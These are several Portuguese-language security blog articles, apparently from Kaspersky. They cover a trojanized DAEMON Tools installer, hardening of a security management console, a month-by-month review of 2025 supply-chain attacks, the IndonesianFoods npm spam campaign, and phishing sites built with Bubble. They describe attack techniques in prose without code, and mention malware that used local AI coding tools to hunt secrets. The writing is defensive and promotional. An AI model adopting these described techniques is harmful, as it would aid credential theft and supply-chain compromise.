Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.
Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?
Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.
Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.
Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.
O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.
Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.
Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.
O que exatamente foi infectado
O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.
Como se proteger?
Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.
Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticos e corporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.
As empresas atuam de forma sistemática para reduzir a superfície de ataque. Eles segmentam redes, gerenciam vulnerabilidades, implementam EDR/XDR e buscam automatizar as respostas a incidentes. Por mais paradoxal que pareça, muitas vezes ignoram um ponto crucial: a segurança das próprias ferramentas que gerenciam todo o sistema de defesa.
Isso pode acontecer por um ponto cego de percepção. É comum presumir que, por ter implementado todas as soluções de segurança necessárias, a organização já está protegida. Na prática, qualquer software adicional, inclusive de segurança, amplia a superfície de ataque. Isso significa que essas ferramentas também precisam ser protegidas, começando por um ajuste adequado das configurações.
Por que a violação de um console de segurança é um cenário crítico?
As ferramentas de segurança são tão robustas quanto o ambiente em que operam. Se um invasor conseguir acessar a infraestrutura e assumir o controle do console de gerenciamento, ele passa a ter controle total do ambiente. É como uma chave mestra, que dá acesso direto ao gerenciamento centralizado de políticas, monitoramento de endpoints, integrações de API e outros recursos.
Nesse cenário, o invasor não precisa perder tempo para buscar formas sofisticadas de contornar defesas, basta alterar as configurações. Com acesso ao console, o invasor elimina as etapas mais difíceis de um ataque:
não precisa mapear a rede, pois o console oferece uma visão completa da infraestrutura e da arquitetura de segurança de forma imediata.
não precisa ocultar atividades maliciosas, podendo apenas ajustar políticas, desativar ferramentas ou silenciar alertas.
em vez de distribuir cargas maliciosas de forma discreta, pode usar os próprios recursos do console para instalar softwares e atualizações em massa.
Por isso o comprometimento da camada de controle é tão perigoso. Uma abordagem proativa de cibersegurança não depende da quantidade de ferramentas, mas da resiliência da arquitetura de segurança. Se a camada de controle for o ponto fraco, nenhum software avançado diminuirá esse risco.
Como proteger o console de segurança
Em teoria, a maioria dos sistemas de gerenciamento já conta com os recursos necessários para reforçar a proteção. Qual é o problema? Essas medidas, até as mais básicas como autenticação em dois fatores, costumam estar disponíveis, mas não são obrigatórias. As recomendações de segurança são publicadas, mas nem sempre aplicadas de uma maneira consistente. Em alguns casos, são simplesmente ignoradas. Pior ainda, configurações críticas ativadas por padrão podem ser desativadas com um clique, afetando todos os usuários imediatamente. Sejamos honestos: muitas vezes esses recursos são desativados por conveniência.
No mundo real, isso faz com que a segurança acabe dependendo da disciplina individual do administrador. Porém, a disciplina não substitui um mecanismo estrutural de defesa.
A abordagem moderna prioriza o modelo seguro por padrão na proteção da camada de controle. Nesse modelo, as proteções críticas estão integradas à configuração básica, com restrições na capacidade de desativação global. Assim, a segurança deixa de ser opcional.
O objetivo é eliminar incertezas em termos de segurança das ferramentas defensivas e reduzir a superfície de ataque no nível de gerenciamento.
Como implementamos essa abordagem no Kaspersky Security Center Linux
Nossos produtos estão evoluindo de forma consistente para um modelo em que mecanismos críticos fazem parte da arquitetura básica, e não são opcionais. Lançamos recentemente a versão 16.1 do Kaspersky Security Center Linux, que incorpora essa mudança ao reforçar o controle de acesso ao console. Agora, a autenticação de dois fatores está ativada por padrão, e a possibilidade de desativação global foi removida. Antes de atualizar, é necessário garantir que todos os usuários utilizem autenticação de dois fatores (2FA), incluindo acessos pelo Web Console e automações com OpenAPI.
Isso estabelece uma proteção essencial para acessos privilegiados ao console. Reduz o risco de comprometimento de contas administrativas, protege canais de automação, diminui a probabilidade de uso indevido de APIs e elimina vulnerabilidades decorrentes de configurações opcionais. Dessa forma, a superfície de ataque é reduzida especificamente no gerenciamento da camada de controle.
No entanto, como já mencionado, o problema geralmente não é a falta de recursos, mas a ausência de controle sistemático sobre seu uso. Por exemplo, é comum haver administradores com privilégios excessivos ou configurações inseguras de conexão ao servidor. Já disponibilizamos um guia de reforço da proteção para o Kaspersky Security Center que aborda esses pontos em detalhe, mas, infelizmente, nem todos dedicam tempo para ler manuais técnicos extensos.
Para garantir que nada seja ignorado, reunimos uma lista de verificação estruturada para reforçar a segurança do Kaspersky Security Center Linux, versão 16.1. Esta lista de verificação:
permite verificar se autenticação e acessos estão configurados corretamente
ajuda a identificar usuários e funções com privilégios excessivos
orienta sobre como restringir o acesso de rede ao console
reforça a proteção de APIs
fortalece os requisitos de criptografia
garante a correta configuração de auditoria e logs
reduz o risco de falhas de configuração
Essencialmente, é uma ferramenta de auditoria sistemática da camada de controle. Ela evita que o console se torne um ponto de entrada ou facilite a movimentação lateral de invasores. Quanto menos configurações críticas dependerem do usuário, menor o risco de erro ou comprometimento.
Autenticação reforçada e reforço estruturado do console não são ajustes pontuais, mas uma abordagem mais robusta de gestão de segurança. A proposta é evoluir essa camada de forma contínua, reduzindo a superfície de ataque não só nos endpoints, mas também no próprio sistema de gerenciamento. Saiba mais sobre o Kaspersky Security Center na página do console e acesse a lista de verificação de proteção disponível no site de suporte técnico.
Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.
Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools
Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.
O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.
Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit
Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.
Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!
Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions
O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.
A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.
O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.
Abril de 2025: um backdoor em 21 extensões do Magento
Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.
De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.
Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.
Maio de 2025: ransomware distribuído por meio de um MSP comprometido
Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.
Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.
Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares
No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.
O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.
Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing
Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.
Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.
A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.
Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores
No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.
Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.
Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.
Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais
A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.
A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.
Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.
Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code
Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.
Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.
Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.
Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm
Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.
O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.
Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.
Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores
O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.
Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.
A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.
Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.
Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.
Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.
Como se proteger contra ataques a cadeias de suprimentos
Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.
O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:
Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
Desenvolva um plano abrangente de resposta a incidentes.
Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.
O que as palavras bakso, sate e rendang trazem à mente? Para muitos, a resposta é “nada”; os amantes da gastronomia as reconhecerão como alimentos básicos da Indonésia. Já aqueles que seguem as notícias de segurança cibernética se lembrarão de um ataque ao ecossistema Node Package Manager (npm), a ferramenta que permite que os desenvolvedores usem bibliotecas pré-formatadas em vez de escrever cada linha de código do zero.
Em meados de novembro, o pesquisador de segurança Paul McCarty relatou a descoberta de uma campanha de spam destinada a sobrecarregar o repositório do npm. É claro que pacotes sem sentido já apareceram no repositório antes, mas, neste caso, dezenas de milhares de módulos foram encontrados sem nenhuma utilidade. O único objetivo deles era injetar dependências completamente desnecessárias em projetos.
Os nomes dos pacotes apresentavam nomes de pratos indonésios e termos culinários inseridos de forma aleatória, como bakso, sate e rendang, o que levou a campanha a receber o apelido “IndonesianFoods”. A escala foi impressionante: no momento da descoberta, aproximadamente 86 mil pacotes haviam sido identificados.
Abaixo, veremos como isso aconteceu e o que os invasores estavam realmente procurando.
Dentro da IndonesianFoods
À primeira vista, os pacotes da IndonesianFoods não pareciam lixo óbvio. Eles apresentavam estruturas padrão, arquivos de configuração válidos e até mesmo documentação bem formatada. De acordo com pesquisadores do Endor Labs, essa camuflagem permitiu que os pacotes permanecessem no repositório do npm por quase dois anos.
Não é como se os invasores tentassem a todo custo inserir suas criações em projetos externos. Em vez disso, eles simplesmente inundaram o ecossistema com um código de aparência legítima, esperando que alguém cometesse um erro de digitação ou selecionasse por engano sua biblioteca nos resultados da pesquisa. Não está claro exatamente o que alguém precisaria estar procurando para confundir um nome de pacote com um prato indonésio, mas a pesquisa original observa que pelo menos 11 projetos de alguma forma incluíram esses pacotes em suas compilações.
Uma pequena parte desses pacotes inúteis tinha um mecanismo de autorreplicação incorporado: uma vez instalados, eles criariam e publicariam novos pacotes no repositório do npm a cada sete segundos. Esses novos módulos apresentavam nomes aleatórios (também relacionados à culinária indonésia) e números de versão. Todos publicados, como seria de esperar, usando as credenciais da vítima.
Outros pacotes maliciosos integrados à plataforma blockchain TEA. O projeto TEA foi concebido para recompensar criadores de código aberto com tokens em proporção à popularidade e ao uso de suas criações, teoricamente operando em um modelo de “prova de contribuição”.
Uma parte significativa desses pacotes não continha funcionalidade real, mas muitas vezes carregavam uma dúzia de dependências que, como você pode imaginar, apontavam para outros projetos de spam dentro da mesma campanha. Assim, se uma vítima incluir por engano um desses pacotes maliciosos, ele carregará consigo diversos outros, alguns dos quais terão suas próprias dependências. O resultado é um projeto final com uma enorme quantidade de código redundante.
O que os invasores ganham com isso?
Há duas teorias principais. O mais óbvio é que toda essa elaborada campanha de spam foi projetada para explorar o protocolo TEA mencionado acima. Essencialmente, sem fazer nenhuma contribuição útil para a comunidade de código aberto, os invasores ganham tokens TEA, ou seja, ativos digitais padrão que podem ser trocados por outras criptomoedas em plataformas de negociação. Usando uma rede de dependências e mecanismos de autorreplicação, os invasores se passam por desenvolvedores de código aberto legítimos para inflar artificialmente a significância e as métricas de uso de seus pacotes. Nos arquivos README de determinados pacotes, os invasores até se gabam de seus ganhos.
No entanto, há uma teoria mais assustadora. Por exemplo, o pesquisador Garrett Calpouzos sugere que o que estamos vendo é apenas uma prova de conceito. A campanha da IndonesianFoods pode estar testando um novo método de entrega de malware destinado a ser vendido posteriormente a outros agentes de ameaças.
Por que você não quer lixo em seus projetos
À primeira vista, o perigo para as organizações de desenvolvimento de software pode não ser óbvio: com certeza, a IndonesianFoods desordena o ecossistema, mas não parece carregar uma ameaça imediata, como ransomware ou violações de dados. No entanto, as dependências redundantes sobrecarregam o código e desperdiçam recursos no sistema do desenvolvedor. Além disso, pacotes inúteis publicados sob o nome de sua organização podem prejudicar seriamente sua reputação dentro da comunidade de desenvolvedores.
Também não podemos descartar a teoria de Calpouzos. Se esses pacotes de spam incorporados ao seu software receberem uma atualização que introduza uma funcionalidade realmente maliciosa, eles podem se tornar uma ameaça não apenas para a sua organização, mas também para seus usuários, evoluindo para um ataque completo à cadeia de suprimentos.
Como proteger sua organização
Os pacotes de spam não entram em um projeto sozinhos; sua instalação ocorre em um momento de distração do desenvolvedor. Portanto, recomendamos conscientizar regularmente os funcionários, mesmo os mais experientes, sobre as ameaças cibernéticas modernas. Nossa plataforma interativa de treinamento, a KASAP (Kaspersky Automated Security Awareness Platform), pode ajudar.
Além disso, você pode impedir a infecção usando uma solução especializada para proteger ambientes conteinerizados. Ela faz a verificação de imagens e dependências de terceiros, integra-se ao processo de compilação e monitora contêineres durante o tempo de execução.
Se quiser saber mais detalhes sobre os ataques contra a cadeia de suprimentos, deixamos aqui o nosso convite para consultar o relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção do ecossistema digital global em uma era de interdependência). Ele é baseado em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos de cadeia de suprimentos e de relacionamento confiável e como estes são percebidos.
Uma variedade de criadores de aplicativos com tecnologia de IA promete dar vida às suas ideias com rapidez e facilidade. Infelizmente, sabemos exatamente quem está sempre à procura de novas ideias para dar vida, principalmente porque somos muito bons em identificar e bloquear as antigas. Estamos falando de phishers, é claro. Recentemente, descobrimos que eles adicionaram um novo truque ao seu arsenal: gerar sites usando o criador de aplicativos da Web com tecnologia IA Bubble. É muito provável que essa tática já esteja disponível em uma ou mais plataformas de phishing como serviço, o que praticamente garante que essas armadilhas começarão a aparecer em uma ampla variedade de ataques. Mas vamos detalhar em etapas.
Por que os phishers estão usando o Bubble?
Incluir um link direto para um site de phishing em um e-mail é um caminho sem volta para o fracasso. Há uma grande probabilidade de a mensagem nem chegar ao destino, pois os filtros de segurança provavelmente a bloquearão antes que o usuário a veja. Da mesma forma, o uso de redirecionamentos automatizados já está no radar das soluções de segurança modernas. E os QR codes? Embora fazer com que a vítima escaneie um código com o celular, em vez de clicar em um link, possa funcionar em teoria, os phishers inevitavelmente perdem tráfego nessa etapa: nem todo mundo está disposto a inserir credenciais corporativas em um dispositivo pessoal. É aqui que os serviços automatizados de geração de código socorrem os cibercriminosos.
O Bubble se posiciona como uma plataforma no-code para o desenvolvimento de aplicativos da Web e móveis. Essencialmente, um usuário descreve o que precisa em uma interface visual e a plataforma gera uma solução finalizada. Os phishers adotaram essa tecnologia para criar aplicativos da Web cujos endereços, depois, eles incorporam em seus e-mails de phishing. Embora a função real desses aplicativos se resuma ao mesmo antigo redirecionamento automatizado para um site malicioso, há algumas nuances específicas em jogo.
Primeiro, o aplicativo da Web resultante é hospedado diretamente nos servidores da plataforma. O URL pronto para uso em um e-mail de phishing se parece com https://%name%.bubble.io/. Do ponto de vista das soluções de segurança, parece ser um site legítimo e antigo.
Em segundo lugar, o código desse aplicativo da Web não se parece com um redirecionamento típico. Para ser honesto, é difícil dizer com o que ele se parece. O código gerado por essa plataforma no-code é uma enorme mistura de JavaScript e estruturas isoladas de Shadow DOM (Document Object Model). Mesmo para um especialista, é difícil entender o que está acontecendo à primeira vista; é preciso analisar o código a fundo para entender como tudo funciona e com qual objetivo. Os algoritmos automatizados de análise de código da Web têm ainda mais chances de falhar, frequentemente chegando ao veredicto de que é apenas um site funcional e útil.
Um fragmento de código de aplicativo da Web hospedado na plataforma Bubble
O que são essas plataformas de phishing e qual é o objetivo?
Os phishers atuais raramente desenvolvem e implementam novos truques do zero. A maioria usa kits de phishing, essencialmente pacotes do tipo “faça você mesmo o seu esquema fraudulento”, ou até mesmo plataformas de phishing como serviço em larga escala.
Essas plataformas fornecem aos invasores um kit de ferramentas sofisticado (e altamente frustrante) que está em constante evolução para melhorar a entrega de e-mail e burlar as defesas antiphishing. Por exemplo, essas ferramentas permitem que os invasores, entre muitas outras coisas, façam o seguinte: interceptem cookies de sessão; realizem phishing pelo Google Tarefas (uma tática que abordamos em uma postagem anterior); executem ataques de intermediário (AiTM) para validar a autenticação de dois fatores (2FA) e burlá-la em tempo real; criem sites de phishing equipados com honeypots e geofencing para se esconder dos rastreadores de segurança; e usem assistentes de IA para gerar e-mails de phishing únicos. Para piorar a situação, a infraestrutura dessas plataformas geralmente é hospedada em serviços perfeitamente legítimos como AWS, tornando suas táticas ainda mais difíceis de detectar.
As mesmas plataformas são usadas para criar a página de destino final que coleta credenciais. Nesse caso específico, o aplicativo da Web hospedado no Bubble redireciona as vítimas para um site com uma verificação da Cloudflare que imita a janela de login da Microsoft.
Formulário de phishing projetado para coletar credenciais corporativas
Aparentemente, no universo paralelo dos invasores, o Skype ainda é uma ferramenta de comunicação viável, mas fora isso, o site é bastante convincente.
Como proteger a sua empresa contra ataques de phishing sofisticados
No cenário digital atual, os funcionários precisam entender que as credenciais corporativas devem ser inseridas apenas em serviços e sites que inegavelmente pertencem à empresa. Você pode conscientizar sua equipe sobre ameaças cibernéticas modernas usando a Kaspersky Automated Security Awareness Platform para treinamento on-line.
É claro que até o funcionário mais cauteloso pode ocasionalmente morder a isca. Recomendamos equipar todas as estações de trabalho conectadas à Internet com soluções de segurança robustas que simplesmente bloquearão qualquer tentativa de visitar um site malicioso. Por fim, para reduzir o número de e-mails perigosos que ocupam as caixas de entrada corporativas, sugerimos implementar um produto de segurança de gateway com tecnologias antiphishing avançadas.
